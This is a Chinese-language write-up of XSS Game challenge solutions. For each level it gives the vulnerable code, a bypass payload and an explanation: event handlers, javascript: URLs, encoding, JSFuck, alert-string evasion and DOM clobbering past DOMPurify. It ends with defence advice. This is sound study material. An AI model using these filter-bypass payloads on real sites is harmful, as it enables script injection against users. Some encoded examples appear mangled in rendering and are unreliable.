XSS Game分析以及知识点总结
字数 1528 2025-08-15 21:31:34
XSS攻击绕过技巧详解
1. 基础XSS注入
1.1 无过滤直接注入
场景:当没有任何过滤时,可以直接注入XSS payload。
示例:
<h2 id="spaghet"></h2>
<script>
spaghet.innerHTML = (new URL(location).searchParams.get('somebody') || "Somebody") + " Toucha Ma Spaghet!"
</script>
解决方案:
<svg onload=alert(1337)>
原理:直接注入SVG标签的onload事件,当元素加载时执行JavaScript代码。
2. 字符串拼接绕过
2.1 利用表达式执行
场景:当用户输入被拼接进JavaScript字符串表达式时。
示例:
let jeff = (new URL(location).searchParams.get('jeff') || "JEFFF")
let ma = ""
eval(`ma = "Ma name ${jeff}"`)
解决方案:
"-alert(1337)-"
原理:通过-运算符分割字符串,强制JavaScript解析器执行alert函数。最终表达式变为:
ma = "Ma name "-alert(1337)-""
3. HTML属性注入
3.1 绕过尖括号过滤
场景:当<和>被过滤,但可以注入HTML属性时。
示例:
let wey = (new URL(location).searchParams.get('wey') || "do you know da wey?");
wey = wey.replace(/[<>]/g, '')
uganda.innerHTML = `<input type="text" placeholder="${wey}" class="form-control">`
解决方案:
"onfocus=alert(1337) autofocus="
原理:
- 闭合placeholder属性
- 添加onfocus事件处理程序
- 使用autofocus自动触发事件
4. JavaScript伪协议利用
4.1 表单action注入
场景:当用户输入被用作表单的action属性时。
示例:
ricardo.action = (new URL(location).searchParams.get('ricardo')
解决方案:
javascript:alert(1337)
原理:使用javascript:伪协议直接在URL中执行代码。
5. 编码绕过
5.1 HTML实体编码+URL编码
场景:当特殊字符被过滤时。
示例:
smith = smith.replace(/[`()\\]/g, '')
解决方案:
<!-- HTML实体编码 -->
<svg onload="alert(1337)">
<!-- URL编码 -->
%3Csvg%20onload%3D%22%26%23x61%3B%26%23x6C%3B%26%23x65%3B%26%23x72%3B%26%23x74%3B%26%23x28%3B%26%23x31%3B%26%23x33%3B%26%23x33%3B%26%23x37%3B%26%23x29%3B%22%3E
原理:通过多重编码绕过字符过滤。
6. 极端字符限制绕过
6.1 JSFuck编码
场景:当所有字母和数字被过滤时。
示例:
balls = balls.replace(/[A-Za-z0-9]/g, '')
eval(balls)
解决方案:
// JSFuck编码的alert(1337)
[][([+[]]+([[+!+[]+[+[]]]+([!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][([+[]]+([[+!+[]+[+[]]]+([!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][([+[]]+([[+!+[]+[+[]]]+([!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+([!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][([+[]]+([[+!+[]+[+[]]]+([!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][([+[]]+([[+!+[]+[+[]]]+([!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]](([+!+[]]+([!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([+[]]+([[+!+[]+[+[]]]+([!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[][([+[]]+([[+!+[]+[+[]]]+([!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()
原理:JSFuck仅使用[, ], (, ), !, +六个字符构造任意JavaScript代码。
7. 特定字符串过滤绕过
7.1 匿名函数绕过alert检测
场景:当"alert"字符串被过滤且有长度限制时。
示例:
mafia = mafia.replace(/alert/g, '_')
eval(mafia)
解决方案1:
Function(/ALERT(1337)/.source.toLowerCase())()
解决方案2:
// 将30进制的8680439转换为字符串就是"alert"
eval(8680439..toString(30))(1337)
解决方案3:
// 在URL后添加#alert(1337)
eval(location.hash.slice(1))
原理:
- 使用正则表达式构造字符串并转换为小写
- 利用数字进制转换隐藏敏感字符串
- 利用URL片段标识符传递payload
8. DOM Clobbering技术
8.1 通过DOM元素覆盖JavaScript变量
场景:当使用DOMPurify等库过滤但允许某些HTML元素时。
示例:
boomer.innerHTML = DOMPurify.sanitize(new URL(location).searchParams.get('boomer'))
setTimeout(ok, 2000)
解决方案:
<a id=ok href=tel:alert(1337)>
原理:
- 创建id为"ok"的DOM元素覆盖全局变量ok
- 当setTimeout调用ok时,会调用toString()方法
- 标签的toString()返回href属性值
- 使用DOMPurify允许的协议(如tel:)构造payload
总结
常用XSS绕过技巧
-
事件处理程序:利用onload、onfocus等HTML事件属性
<svg onload=alert(1337)> -
自动触发:结合autofocus自动触发事件
<input autofocus onfocus=alert(1337)> -
JavaScript伪协议:在URL中直接执行代码
javascript:alert(1337) -
编码绕过:
- HTML实体编码:
a= 'a' - URL编码:
%3C= '<' - 多重编码组合使用
- HTML实体编码:
-
JSFuck:极端字符限制下的代码构造
[][([+[]]+...]() -
字符串构造技巧:
- 数字转字符串:
(8680439).toString(30)= "alert" - 正则表达式:
/alert/.source - 匿名函数:
Function('alert(1337)')()
- 数字转字符串:
-
DOM Clobbering:通过DOM元素覆盖JS变量
<a id=globalVar href=tel:alert(1337)> -
间接执行:
- 利用location.hash传递payload
- 利用setTimeout等函数间接执行字符串
防御建议
- 始终对用户输入进行严格的过滤和转义
- 使用CSP(Content Security Policy)限制脚本执行
- 避免使用eval、innerHTML等危险函数
- 使用专业的安全库如DOMPurify处理HTML
- 对特殊字符进行严格过滤
- 实施输出编码,根据上下文使用适当的编码方式